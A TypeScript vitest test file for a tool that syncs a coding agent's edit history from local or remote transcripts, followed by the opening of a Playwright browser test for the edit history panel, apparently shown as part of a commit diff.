import { EditHistoryStore } from '../src/edit-history-store.js';
import type {
EditSourceReadOptions,
EditSourceRequest,
EditSources,
PathProbe,
} from '../src/edit-history-local-source.js';
import {
confirmImages,
EditHistorySync,
MAX_LOADED_STORES,
MAX_OLDER_SOURCES,
NO_TRANSCRIPT,
REMOVED,
type EditHistorySession,
type EditHistorySyncDeps,
remoteTranscriptIds,
unsupportedReason,
} from '../src/web/edit-history-sync.js';
let dir: string;
/** Stores the tests opened; removed before the temp dir, so no late save recreates it. */
const opened: EditHistoryStore[] = [];
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'edit-sync-'));
});
afterEach(async () => {
await Promise.all(opened.splice(0).map((s) => s.remove()));
rmSync(dir, { recursive: true, force: true });
});
const T0 = Date.parse('2026-10-15T20:00:00.000Z');
function editLine(id: string, ts: number, path: string, extra: Record<string, unknown> = {}): string {
return (
JSON.stringify({
type: 'user',
timestamp: new Date(ts).toISOString(),
cwd: '/w',
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
toolUseResult: {
filePath: path,
oldString: 'a',
newString: 'b',
structuredPatch: [{ oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: ['-a', '+b'] }],
},
...extra,
}) + '\n'
);
}
function bashPair(id: string, start: number, end: number, command: string): string {
const use = JSON.stringify({
type: 'assistant',
timestamp: new Date(start).toISOString(),
cwd: '/w',
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command } }] },
});
const res = JSON.stringify({
type: 'user',
timestamp: new Date(end).toISOString(),
cwd: '/w',
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: '' }] },
toolUseResult: { stdout: '', stderr: '', interrupted: false, isImage: false },
});
return use + '\n' + res + '\n';
}
/** An in-memory transcript: files by relPath, served with the reader contract. */
class FakeHost {
transcriptId = 'conv1';
files = new Map<string, Buffer>();
metas: Record<string, string> = {};
calls: EditSourceRequest[][] = [];
paths: string[] = [];
/** What `transcriptPath` answers (the transcript watcher's path); null = none yet. */
get path(): string | null {
return this.files.size > 0 ? `/p/${this.transcriptId}.jsonl` : null;
}
read = async (
mainPath: string,
requests: readonly EditSourceRequest[],
budget: number,
opts: EditSourceReadOptions = {}
): Promise<EditSources | null> => {
this.calls.push([...requests]);
this.paths.push(mainPath);
if (this.files.size === 0) return null;
let remaining = budget;
const out: EditSources = { transcriptId: this.transcriptId, files: [], metas: {} };
for (const [relPath, buf] of this.files) {
const req = requests.find((r) => r.relPath === relPath);
if (!req && opts.onlyRequested) continue;
let start: number;
let len: number;
if (req?.len !== undefined) {
const blockEnd = Math.min(req.offset + req.len, buf.length);
len = Math.min(blockEnd - Math.min(req.offset, buf.length), remaining);
start = blockEnd - len;
} else if (req) {
start = Math.min(req.offset, buf.length);
len = Math.min(remaining, buf.length - start);
} else {
len = Math.min(buf.length, remaining);
start = buf.length - len;
const agent = /^subagents\/agent-(.+)\.jsonl$/.exec(relPath)?.[1];
if (agent && this.metas[agent]) out.metas[agent] = this.metas[agent];
}
remaining -= len;
out.files.push({ relPath, size: buf.length, startOffset: start, chunk: buf.subarray(start, start + len) });
}
return out;
};
append(relPath: string, text: string): void {
this.files.set(relPath, Buffer.concat([this.files.get(relPath) ?? Buffer.alloc(0), Buffer.from(text)]));
}
}
function setup(over: Partial<EditHistorySyncDeps> = {}) {
const host = new FakeHost();
const probes = new Map<string, PathProbe>();
const lookups: string[] = [];
/** Session ids in the order their stores were loaded. */
const loads: string[] = [];
/** The session each read (and, as `probe:<id>`, each probe) was made for. */
const readers: string[] = [];
const deps: EditHistorySyncDeps = {
transcriptPath: async (session) => {
lookups.push(session.id);
return host.path;
},
readSources: (session, path, req, budget, opts) => {
readers.push(session.id);
return host.read(path, req, budget, opts);
},
probe: async (session, paths) => {
readers.push(`probe:${session.id}`);
return paths.map((p) => probes.get(p) ?? null);
},
loadStore: (id) => EditHistoryStore.load(id, { dir, debounceMs: 0 }),
deleteStore: (id) => EditHistoryStore.delete(id, { dir }),
sweepStores: async () => 0,
...over,
};
const load = deps.loadStore;
deps.loadStore = async (id) => {
loads.push(id);
const store = await load(id);
opened.push(store);
return store;
};
return { host, probes, lookups, loads, readers, deps, sync: new EditHistorySync(deps) };
}
const local: EditHistorySession = { id: 's1', mode: 'claude', remote: undefined, claudeSessionId: 'conv1' };
const remote: EditHistorySession = {
id: 's2',
mode: 'claude',
remote: { host: 'huff' } as EditHistorySession['remote'],
claudeSessionId: 'conv1',
};
describe('unsupportedReason', () => {
it('accepts a local or remote claude session, rejects docker and non-claude CLIs', () => {
expect(unsupportedReason(local)).toBeUndefined();
expect(unsupportedReason(remote)).toBeUndefined();
expect(unsupportedReason({ ...remote, docker: { image: 'x' } })).toBe('docker');
expect(unsupportedReason({ ...local, docker: { image: 'x' } })).toBe('docker');
expect(unsupportedReason({ ...local, adopt: { location: 'local' } })).toBe('adopted');
expect(unsupportedReason({ ...local, mode: 'shell' })).toBe('mode');
});
});
describe('remoteTranscriptIds', () => {
it('includes the stored conversation besides the launch id: no hook tells Codeman of a remote /clear', () => {
expect(remoteTranscriptIds(remote, 'conv2')).toEqual(['conv2', 'conv1', 's2']);
expect(remoteTranscriptIds(remote, 'conv1')).toEqual(['conv1', 's2']);
expect(remoteTranscriptIds(remote, null)).toEqual(['conv1', 's2']);
expect(remoteTranscriptIds({ ...remote, claudeSessionId: null }, null)).toEqual(['s2']);
});
});
describe('EditHistorySync', () => {
it('reads new edits forward from the stored offset', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
expect(await sync.sync(local)).toEqual({ state: 'ok' });
host.append('main', editLine('t2', T0 + 1000, '/w/b.ts'));
await sync.sync(local);
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t2', 't1']);
expect(host.calls[1]).toEqual([
{ relPath: 'main', offset: host.files.get('main')!.length - editLine('t2', T0 + 1000, '/w/b.ts').length },
]);
expect(host.paths).toEqual(['/p/conv1.jsonl', '/p/conv1.jsonl']);
});
it('reads subagent transcripts and records their meta', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
host.append('subagents/agent-a1.jsonl', editLine('t9', T0 + 5, '/w/sub.ts', { isSidechain: true, agentId: 'a1' }));
host.metas.a1 = '{"description":"Fix it","agentType":"coding"}';
await sync.sync(local);
const store = await sync.getStore('s1');
expect(store.get('t9')?.agentId).toBe('a1');
expect(store.getAgents().a1).toEqual({ description: 'Fix it', agentType: 'coding' });
});
it('reads a new conversation (/clear, resume) from its end, keeping the entries', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(local);
host.transcriptId = 'conv2';
host.files.set('main', Buffer.from(editLine('n1', T0 + 9, '/w/n.ts')));
await sync.sync(local);
expect(host.paths.at(-1)).toBe('/p/conv2.jsonl');
expect(host.calls.at(-1)).toEqual([]); // no offsets of the old file
const store = await sync.getStore('s1');
expect(store.getTranscriptId()).toBe('conv2');
expect(store.list().map((e) => e.id)).toEqual(['n1', 't1']);
});
it('keeps reading in passes when a file grew by more than one budget', async () => {
const { host, sync } = setup({ budget: 600 });
host.append('main', editLine('t0', T0, '/w/z.ts'));
await sync.sync(local);
for (let i = 1; i <= 3; i++) host.append('main', editLine(`t${i}`, T0 + i, `/w/${i}.ts`));
await sync.sync(local);
expect((await sync.getStore('s1')).list()).toHaveLength(4);
});
it('turns a Bash image into an entry only when its mtime lies in the call window', async () => {
const { host, probes, sync } = setup();
host.append('main', bashPair('b1', T0, T0 + 5000, 'render out/new.png old.png ~/x.png'));
probes.set('/w/out/new.png', { realPath: '/w/out/new.png', kind: 'file', size: 9, mtimeMs: T0 + 4000 });
probes.set('/w/old.png', { realPath: '/w/old.png', kind: 'file', size: 9, mtimeMs: T0 - 60_000 });
probes.set('~/x.png', { realPath: '/home/u/x.png', kind: 'file', size: 9, mtimeMs: T0 + 6500 });
await sync.sync(local);
expect((await sync.getStore('s1')).list().map((e) => [e.path, e.tool, e.kind])).toEqual([
['/w/out/new.png', 'bash', 'image'],
['/home/u/x.png', 'bash', 'image'],
]);
});
it('a removal during a read stops it: no further parsing, no probe of printed paths', async () => {
const probe = vi.fn(async (_session: unknown, paths: readonly string[]) => paths.map(() => null));
let removal: Promise<void> | undefined;
const ctx = setup({
probe,
readSources: async (_session, path, req, budget, opts) => {
const res = await ctx.host.read(path, req, budget, opts);
removal = ctx.sync.remove('s1'); // the session is deleted while this read is out
return res;
},
});
ctx.host.append('main', bashPair('b1', T0, T0 + 5000, 'render out/a.png'));
ctx.host.append('subagents/agent-a1.jsonl', bashPair('b2', T0, T0 + 5000, 'render out/b.png'));
await ctx.sync.sync(local);
await removal;
expect(probe).not.toHaveBeenCalled();
});
it('keeps the edits when only the image probe fails', async () => {
const { host, sync } = setup({
probe: async () => {
throw new Error('probe failed');
},
});
host.append('main', editLine('t1', T0, '/w/a.ts') + bashPair('b1', T0, T0 + 1, 'x out.png'));
expect(await sync.sync(local)).toEqual({ state: 'ok' });
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t1']);
});
it('reports a session without a transcript yet, then reads it once there is one', async () => {
const { host, sync } = setup();
expect(await sync.sync(local)).toEqual({ state: 'unavailable', reason: NO_TRANSCRIPT });
expect(host.calls).toEqual([]);
host.append('main', editLine('t1', T0, '/w/a.ts'));
expect(await sync.sync(local)).toEqual({ state: 'ok' });
expect((await sync.getStore('s1')).list()).toHaveLength(1);
});
it('reports a transcript that vanished (watcher path stale) the same way', async () => {
const { host, sync } = setup({ transcriptPath: async () => '/p/gone.jsonl' });
expect(await sync.sync(local)).toEqual({ state: 'unavailable', reason: NO_TRANSCRIPT });
expect(host.paths).toEqual(['/p/gone.jsonl']);
});
it('reports a read error as unavailable and keeps the stored entries', async () => {
const { host, sync, deps } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(local);
deps.readSources = async () => {
throw new Error('EACCES: permission denied');
};
const status = await sync.sync(local);
expect(status).toEqual({ state: 'unavailable', reason: 'EACCES: permission denied' });
expect((await sync.getStore('s1')).list()).toHaveLength(1);
});
it('marks docker and non-claude sessions unsupported without looking for a transcript', async () => {
const { host, lookups, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
expect(await sync.sync({ ...local, mode: 'shell' })).toEqual({ state: 'unsupported', reason: 'mode' });
expect(await sync.sync({ ...local, docker: {} })).toEqual({ state: 'unsupported', reason: 'docker' });
expect(lookups).toEqual([]);
expect(host.calls).toEqual([]);
});
it('reads a remote session through the same deps, each call with that session (ssh is the server’s part)', async () => {
const { host, lookups, readers, probes, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts') + bashPair('b1', T0 + 1000, T0 + 3000, 'render out.png'));
probes.set('/w/out.png', { realPath: '/w/out.png', kind: 'file', size: 9, mtimeMs: T0 + 2000 });
expect(await sync.sync(remote)).toEqual({ state: 'ok' });
expect(lookups).toEqual(['s2']);
expect(readers).toEqual(['s2', 'probe:s2']);
expect((await sync.getStore('s2')).list().map((e) => e.path)).toEqual(['/w/out.png', '/w/a.ts']);
});
it('hands the transcript lookup the conversation the stored history holds', async () => {
const stored: Array<string | null> = [];
const { host, sync } = setup({
transcriptPath: async (_session, storedTranscriptId) => {
stored.push(storedTranscriptId);
return host.path;
},
});
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(remote);
host.transcriptId = 'conv2';
host.files.set('main', Buffer.from(editLine('n1', T0 + 9, '/w/n.ts')));
await sync.sync(remote);
await sync.sync(remote);
expect(stored).toEqual([null, 'conv1', 'conv2']);
});
it('an unreachable remote host is unavailable with the stored entries kept, and the next sync reads on', async () => {
const { host, sync, deps } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(remote);
const transcriptPath = deps.transcriptPath;
deps.transcriptPath = async () => {
throw new Error('remote host huff unreachable: ssh: connect to host huff port 22: Connection timed out');
};
host.append('main', editLine('t2', T0 + 1000, '/w/b.ts'));
expect(await sync.sync(remote)).toEqual({
state: 'unavailable',
reason: 'remote host huff unreachable: ssh: connect to host huff port 22: Connection timed out',
});
expect((await sync.getStore('s2')).list()).toHaveLength(1);
deps.transcriptPath = transcriptPath;
expect(await sync.sync(remote)).toEqual({ state: 'ok' });
expect((await sync.getStore('s2')).list()).toHaveLength(2);
});
it('runs one sync per session at a time and folds occasions into one more run', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
let release!: () => void;
const gate = new Promise<void>((r) => (release = r));
const orig = host.read;
host.read = async (...a) => {
await gate;
return orig(...a);
};
const runs = [sync.sync(local), sync.sync(local), sync.sync(local)];
release();
await Promise.all(runs);
expect(host.calls).toHaveLength(2); // the first run + one folded follow-up
});
it('loads older blocks on request', async () => {
const { host, sync } = setup({ budget: 400 });
for (let i = 0; i < 4; i++) host.append('main', editLine(`t${i}`, T0 + i, `/w/${i}.ts`));
await sync.sync(local);
const store = await sync.getStore('s1');
const before = store.list().length;
expect(store.backfillTruncated).toBe(true);
await sync.sync(local, { older: true });
expect(store.list().length).toBeGreaterThan(before);
});
it('flushAll writes pending saves (shutdown) so a reload keeps the entries', async () => {
const { host, sync } = setup({ loadStore: (id) => EditHistoryStore.load(id, { dir, debounceMs: 60_000 }) });
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(local);
await sync.flushAll();
const reloaded = await EditHistoryStore.load('s1', { dir });
expect(reloaded.list().map((e) => e.id)).toEqual(['t1']);
});
it('remove deletes the stored history', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(local);
await (await sync.getStore('s1')).flush();
await sync.remove('s1');
expect(() => readFileSync(join(dir, 's1.json'))).toThrow();
});
it('neither a run in flight nor a request during the removal writes the deleted history again', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
let release!: () => void;
const gate = new Promise<void>((r) => (release = r));
let entered!: () => void;
const reading = new Promise<void>((r) => (entered = r));
const orig = host.read;
host.read = async (...a) => {
entered();
await gate;
return orig(...a);
};
const runs = [sync.sync(local), sync.sync(local)]; // one running, one queued
await reading;
const removing = sync.remove('s1');
// The removal waits for the read under way; a request meanwhile reads nothing.
expect(await sync.sync(local)).toEqual({ state: 'unavailable', reason: REMOVED });
release();
await Promise.all([...runs, removing]);
await new Promise((r) => setTimeout(r, 20)); // past the store's debounce
expect(readdirSync(dir)).toEqual([]);
expect(host.calls).toHaveLength(1); // the read under way; the queued run never read
});
it('the same conversation under an unnormalized path reads on from its cursors, nothing else', async () => {
const path = '/p/./conv1.jsonl';
const { host, sync } = setup({ transcriptPath: async () => path });
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(local);
host.append('main', editLine('t2', T0 + 1, '/w/a.ts'));
await sync.sync(local);
expect(host.paths).toEqual([path, path]);
expect(host.calls[1]).toEqual([
{ relPath: 'main', offset: host.files.get('main')!.length - editLine('t2', T0 + 1, '/w/a.ts').length },
]);
});
it('a session that comes back with the same id (reboot restore) reads its history afresh', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
await sync.sync(local);
// Boot: the unpinned record is pruned as stale; then "restore" brings the session back.
await sync.remove('s1');
expect(await sync.sync(local)).toEqual({ state: 'ok' });
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t1']);
});
it('remove deletes a history it has not loaded without loading it', async () => {
const { sync, loads } = setup();
const other = new EditHistoryStore('s1', { dir });
other.addImageEntries([{ toolUseId: 'b1', path: '/w/a.png', ts: T0 }]);
await other.flush();
await sync.remove('s1');
expect(loads).toEqual([]);
expect(existsSync(join(dir, 's1.json'))).toBe(false);
});
it(`keeps at most ${MAX_LOADED_STORES} stores loaded: a dropped one is written and loads again whole`, async () => {
const { host, sync, loads } = setup({ loadStore: (id) => EditHistoryStore.load(id, { dir, debounceMs: 60_000 }) });
host.append('main', editLine('t1', T0, '/w/a.ts'));
const ids = Array.from({ length: MAX_LOADED_STORES + 2 }, (_, i) => `s${i}`);
for (const id of ids) await sync.sync({ ...local, id });
expect(loads).toEqual(ids);
// The two least recently used went: written (no debounced save ran), not kept in memory.
await sync.flushAll();
expect(existsSync(join(dir, 's0.json'))).toBe(true);
expect((await sync.getStore('s0')).list().map((e) => e.id)).toEqual(['t1']);
expect(loads.slice(ids.length)).toEqual(['s0']);
// The most recently used ones stay loaded.
await sync.getStore(ids[ids.length - 1]);
expect(loads.slice(ids.length)).toEqual(['s0']);
});
it('a dropped store that never changed writes nothing (no file for a session without edits)', async () => {
const { sync } = setup(); // no transcript: nothing to read
for (let i = 0; i <= MAX_LOADED_STORES; i++) await sync.sync({ ...local, id: `s${i}` });
await sync.flushAll();
expect(readdirSync(dir)).toEqual([]);
});
it('a store whose run is in flight is not dropped, and loads once', async () => {
let release!: () => void;
const gate = new Promise<void>((r) => (release = r));
const { host, sync, loads } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
const orig = host.read;
let first = true;
let inRead!: () => void;
const reachedRead = new Promise<void>((r) => (inRead = r));
host.read = async (...a) => {
if (first) {
first = false;
inRead();
await gate;
}
return orig(...a);
};
const slow = sync.sync(local);
// Only once s1 holds the gate: the sessions load their stores independently, so a later one
// could reach the read first, take the gate and hang the loop below before `release()`.
await reachedRead;
for (let i = 1; i <= MAX_LOADED_STORES + 1; i++) await sync.sync({ ...local, id: `s1-${i}` });
release();
expect(await slow).toEqual({ state: 'ok' });
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t1']);
expect(loads.filter((id) => id === 's1')).toEqual(['s1']);
});
it('concurrent first callers share one store', async () => {
const { sync } = setup();
const [a, b] = await Promise.all([sync.getStore('s1'), sync.getStore('s1')]);
expect(a).toBe(b);
});
it('a forward request queued together with an older one still reads forward', async () => {
const { host, sync } = setup();
host.append('main', editLine('t1', T0, '/w/a.ts'));
let release!: () => void;
const gate = new Promise<void>((r) => (release = r));
const orig = host.read;
host.read = async (...a) => {
const res = await orig(...a); // the first run's bytes are taken before the append
await gate;
return res;
};
const first = sync.sync(local);
await new Promise((r) => setTimeout(r, 0));
host.append('main', editLine('t2', T0 + 1, '/w/b.ts'));
const queued = [sync.sync(local), sync.sync(local, { older: true })];
release();
await Promise.all([first, ...queued]);
expect((await sync.getStore('s1')).get('t2')).toBeDefined();
});
it('load older moves every source back, reading only the blocks it asked for', async () => {
const { host, sync } = setup({ budget: 2000 });
for (let i = 0; i < 10; i++) host.append('main', editLine(`m${i}`, T0 + i, `/w/m${i}.ts`));
for (let i = 0; i < 10; i++) {
host.append('subagents/agent-ab.jsonl', editLine(`s${i}`, T0 + 100 + i, `/w/s${i}.ts`, { agentId: 'ab' }));
}
await sync.sync(local);
await sync.sync(local); // the subagent gets its first block once main is up to date
const store = await sync.getStore('s1');
const floors = () => [store.getCursor('main')!.floor, store.getCursor('subagents/agent-ab.jsonl')!.floor];
const [main0, sub0] = floors();
expect(main0).toBeGreaterThan(0);
expect(sub0).toBeGreaterThan(0);
await sync.sync(local, { older: true });
const [main1, sub1] = floors();
expect(main1).toBeLessThan(main0);
expect(sub1).toBeLessThan(sub0);
expect(
host.calls
.at(-1)!
.map((r) => r.relPath)
.sort()
).toEqual(['main', 'subagents/agent-ab.jsonl']);
for (let i = 0; i < 20 && store.backfillTruncated; i++) await sync.sync(local, { older: true });
expect(store.list()).toHaveLength(20);
});
it('a file the shared budget cut short is read in the next pass, not skipped as one long line', async () => {
const budget = 4000;
const { host, sync } = setup({ budget });
const sub = 'subagents/agent-a1.jsonl';
host.append('main', editLine('m0', T0, '/w/m0.ts'));
host.append(sub, editLine('s0', T0 + 1, '/w/s0.ts', { agentId: 'a1' }));
await sync.sync(local);
// main grows by almost a whole budget, leaving the subagent 50 bytes of this pass
const filler = JSON.stringify({ type: 'user', message: { content: '' } });
host.append(
'main',
JSON.stringify({ type: 'user', message: { content: 'z'.repeat(budget - 51 - filler.length) } }) + '\n'
);
host.append(sub, editLine('s1', T0 + 2, '/w/s1.ts', { agentId: 'a1', pad: 'p'.repeat(100) }));
host.append(sub, editLine('s2', T0 + 3, '/w/s2.ts', { agentId: 'a1' }));
await sync.sync(local);
const store = await sync.getStore('s1');
expect(
store
.list()
.map((e) => e.id)
.sort()
).toEqual(['m0', 's0', 's1', 's2']);
expect(store.getCursor(sub)?.midLine).toBeUndefined();
});
it('a first read reaches the subagents in a further pass when main fills the budget', async () => {
const { host, sync } = setup({ budget: 3000 });
for (let i = 0; i < 20; i++) host.append('main', editLine(`m${i}`, T0 + i, `/w/m${i}.ts`));
host.append('subagents/agent-a1.jsonl', editLine('s0', T0 + 100, '/w/s0.ts', { agentId: 'a1' }));
await sync.sync(local);
const store = await sync.getStore('s1');
expect(store.get('s0')?.agentId).toBe('a1');
expect(store.getCursor('subagents/agent-a1.jsonl')).toBeDefined();
});
it('load older reads a full budget per source: a line longer than the budget split over the sources is kept', async () => {
const budget = 2000;
const { host, sync } = setup({ budget });
host.append('main', editLine('m0', T0, '/w/m0.ts'));
host.append('main', editLine('big', T0 + 1, '/w/big.ts', { pad: 'p'.repeat(800) })); // > budget / 3
for (let i = 2; i < 12; i++) host.append('main', editLine(`m${i}`, T0 + i, `/w/m${i}.ts`));
for (const a of ['a1', 'a2']) {
for (let i = 0; i < 12; i++) {
host.append(
`subagents/agent-${a}.jsonl`,
editLine(`${a}-${i}`, T0 + 100 + i, `/w/${a}${i}.ts`, { agentId: a })
);
}
}
for (let i = 0; i < 3; i++) await sync.sync(local);
const store = await sync.getStore('s1');
expect(store.sourcesWithOlder()).toHaveLength(3);
for (let i = 0; i < 20 && store.backfillTruncated; i++) await sync.sync(local, { older: true });
expect(store.get('big')).toBeDefined();
expect(store.list()).toHaveLength(36);
});
it(`load older reads at most ${MAX_OLDER_SOURCES} sources per click, taking turns`, async () => {
const { host, sync } = setup({ budget: 600 });
const subs = ['a1', 'a2', 'a3', 'a4'].map((a) => `subagents/agent-${a}.jsonl`);
for (const relPath of ['main', ...subs]) {
for (let i = 0; i < 8; i++) host.append(relPath, editLine(`${relPath}-${i}`, T0 + i, `/w/${i}.ts`));
}
for (let i = 0; i < 3; i++) await sync.sync(local);
const store = await sync.getStore('s1');
expect(store.sourcesWithOlder()).toHaveLength(5);
const olderCall = () => host.calls.at(-1)!.map((r) => r.relPath);
await sync.sync(local, { older: true });
expect(olderCall()).toEqual(['main', subs[0], subs[1]]);
await sync.sync(local, { older: true });
expect(olderCall()).toEqual([subs[2], subs[3], 'main']);
for (let i = 0; i < 30 && store.backfillTruncated; i++) await sync.sync(local, { older: true });
expect(store.list()).toHaveLength(40);
});
it('a subagent transcript that vanished loses its cursor (no endless "Load older"), not its entries', async () => {
const { host, sync } = setup({ budget: 600 });
const sub = 'subagents/agent-a1.jsonl';
host.append('main', editLine('m0', T0, '/w/m0.ts'));
for (let i = 0; i < 8; i++) host.append(sub, editLine(`s${i}`, T0 + 10 + i, `/w/s${i}.ts`, { agentId: 'a1' }));
for (let i = 0; i < 2; i++) await sync.sync(local);
const store = await sync.getStore('s1');
expect(store.backfillTruncated).toBe(true);
const kept = store.list().length;
host.files.delete(sub);
await sync.sync(local, { older: true });
expect(store.getCursor(sub)).toBeUndefined();
expect(store.backfillTruncated).toBe(false);
expect(store.list()).toHaveLength(kept);
});
it('sweep keeps the sessions in use here and those that exist', async () => {
const asked: Record<string, boolean> = {};
const { sync } = setup({
sweepStores: async (keep) => {
for (const id of ['s1', 'kept', 'gone']) asked[id] = keep(id);
return 1;
},
});
await sync.getStore('s1');
expect(await sync.sweep((id) => id === 'kept')).toBe(1);
expect(asked).toEqual({ s1: true, kept: true, gone: false });
});
});
describe('confirmImages', () => {
it('ignores directories and missing files', () => {
const c = [{ toolUseId: 'b', start: T0, end: T0 + 1, paths: ['/d.png', '/m.png'] }];
const out = confirmImages(c, (p) =>
p === '/d.png' ? { realPath: p, kind: 'directory', size: 0, mtimeMs: T0 } : null
);
expect(out).toEqual([]);
});
it('lists a file sent to the user outside any window, once per file version', () => {
const png = { realPath: '/w/p.png', kind: 'file' as const, size: 9, mtimeMs: T0 };
const sent = { toolUseId: 's', start: T0 + 9000, end: T0 + 9000, paths: ['/w/p.png'], sent: true };
expect(confirmImages([sent], () => png)).toEqual([
{ toolUseId: 's', path: '/w/p.png', ts: T0 + 9000, tool: 'sent' },
]);
// The Bash call that wrote it was already listed: same version, not again.
expect(
confirmImages(
[sent],
() => png,
() => T0 + 500
)
).toEqual([]);
expect(confirmImages([sent], () => null)).toEqual([]);
});
it('skips a file version already recorded: the ls right after the render, a listing after a Write', () => {
const png = { realPath: '/w/p.png', kind: 'file' as const, size: 9, mtimeMs: T0 + 900 };
const render = { toolUseId: 'r', start: T0, end: T0 + 1000, paths: ['/w/p.png'] };
const ls = { toolUseId: 'l', start: T0 + 1500, end: T0 + 1600, paths: ['/w/p.png'] };
expect(confirmImages([ls, render], () => png).map((i) => i.toolUseId)).toEqual(['r']);
// A Write entry for the same path at T0 + 950 already covers it.
expect(
confirmImages(
[ls],
() => png,
() => T0 + 950
)
).toEqual([]);
// A later re-render (newer mtime, outside the slack) is a new version.
const again = { toolUseId: 'r2', start: T0 + 10_000, end: T0 + 11_000, paths: ['/w/p.png'] };
const newer = { ...png, mtimeMs: T0 + 10_500 };
expect(
confirmImages(
[again],
() => newer,
() => T0 + 1000
).map((i) => i.toolUseId)
).toEqual(['r2']);
});
});
describe('reads only on request (wiring guard)', () => {
const read = (file: string) => readFileSync(join(__dirname, '..', file), 'utf-8');
it('the server never starts a sync itself: it only hands the reader to the routes', () => {
const server = read('src/web/server.ts');
const uses = [...server.matchAll(/this\.editHistorySync\b(\.\w+)?/g)].map((m) => m[1] ?? '');
expect(uses.sort()).toEqual(['', '.flushAll', '.remove', '.sweep']);
expect(server).toMatch(/registerEditHistoryRoutes\(this\.app, ctx, this\.editHistorySync\)/);
});
it('a remote session looks its transcript up with the stored conversation; a local one keeps the hook path', () => {
const server = read('src/web/server.ts');
const start = server.indexOf('new EditHistorySync({');
const lookup = server.slice(start, server.indexOf('readSources:', start));
expect(lookup).toMatch(
/session\.remote\s*\?\s*remoteLocateClaudeTranscript\(\s*session\.remote,\s*remoteTranscriptIds\(session, storedTranscriptId\)/
);
expect(lookup).toMatch(/resolveClaudeTranscript\(\s*this\.transcriptWatchers\.get\(session\.id\)\?\.getPath\(\)/);
});
it('no other module holds the reader, and the edit history modules run no timer or watcher', () => {
const root = join(__dirname, '..');
const holders = readdirSync(join(root, 'src'), { recursive: true, encoding: 'utf-8' })
.filter((f) => /\.(ts|js)$/.test(f))
.map((f) => join('src', f).split('\\').join('/'))
.filter((f) => /EditHistorySync|editHistorySync/.test(read(f)));
expect(holders.sort()).toEqual([
'src/web/edit-history-sync.ts',
'src/web/routes/edit-history-routes.ts',
'src/web/server.ts',
]);
for (const file of [
'src/web/edit-history-sync.ts',
'src/edit-history-store.ts',
'src/edit-history-local-source.ts',
'src/edit-history-parse.ts',
'src/web/routes/edit-history-routes.ts',
]) {
const src = read(file);
expect(src, file).not.toMatch(/setInterval|\bwatch\(|chokidar/);
}
// The store's only timer is its debounced save.
expect(read('src/web/edit-history-sync.ts')).not.toMatch(/setTimeout/);
});
});
vi.setConfig({ testTimeout: 10_000 });
+528
View File
@@ -0,0 +1,528 @@
/**
* @fileoverview Edit history button and panel, end to end in a real browser: real server, real
* Chromium. The edits API is mocked with `page.route` (the UI is built against its contract); the
* thumbnails (workspace `file-raw`, the attachment route outside it) and the transcript SSE
* events the open panel follows go through the real server.
*/
import { homedir } from 'node:os';
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { chromium, type Browser, type Page, type Route } from 'playwright';
import { WebServer } from '../src/web/server.js';
/** A 2×2 red PNG, so the thumbnail has real pixels to decode. */
const PNG = Buffer.from(
'iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAIAAAD91JpzAAAAEElEQVR4nGP4z8AARAwQCgAf7gP9i18U1AAAAABJRU5ErkJggg==',
'base64'
);
type Entry = {
id: string;
ts: number;
path: string;
relPath: string;
kind: 'code' | 'image';
tool: string;
created: boolean;
added: number;
removed: number;
agentId?: string;
};
describe('Edit history panel in a real browser', () => {
let server: WebServer;
let browser: Browser;
let page: Page;
let root: string;
/** A directory outside the session's workspace, for the attachment-route thumbnail. */
let ext: string;
let sessionA: string;
let sessionB: string;
const settingsPutStatuses: number[] = [];
/** Bodies of POST /api/sessions/:id/attachments (the file preview registering an external image). */
const attachmentPosts: unknown[] = [];
/** Every request to the mocked API: `METHOD url`. */
const calls: string[] = [];
/** The mocked server state per session id. */
const state = new Map<string, Record<string, unknown>>();
let diffs: Record<string, { diff: string; truncated: boolean }> = {};
let olderEntries: Entry[] = [];
const entry = (over: Partial<Entry> & { id: string; relPath: string }): Entry => ({
ts: Date.now(),
path: join(root, over.relPath),
kind: 'code',
tool: 'Edit',
created: false,
added: 1,
removed: 1,
...over,
});
const json = (route: Route, data: unknown) =>
route.fulfill({ contentType: 'application/json', body: JSON.stringify({ success: true, data }) });
const buttonVisible = () =>
page.evaluate(() => getComputedStyle(document.getElementById('editHistoryBtn')!).display !== 'none');
const bodyText = async () => (await page.textContent('#editHistoryBody')) ?? '';
const setSetting = async (on: boolean) => {
await page.evaluate(() => (window as any).app.openAppSettings());
if ((await page.isChecked('#appSettingsShowEditHistory')) !== on)
await page.click('label.set-chip:has(#appSettingsShowEditHistory)');
await page.evaluate(() => (window as any).app.saveAppSettings());
await page.waitForTimeout(300);
await page.evaluate(() => (window as any).app.closeAppSettings());
};
const createSession = (dir: string) =>
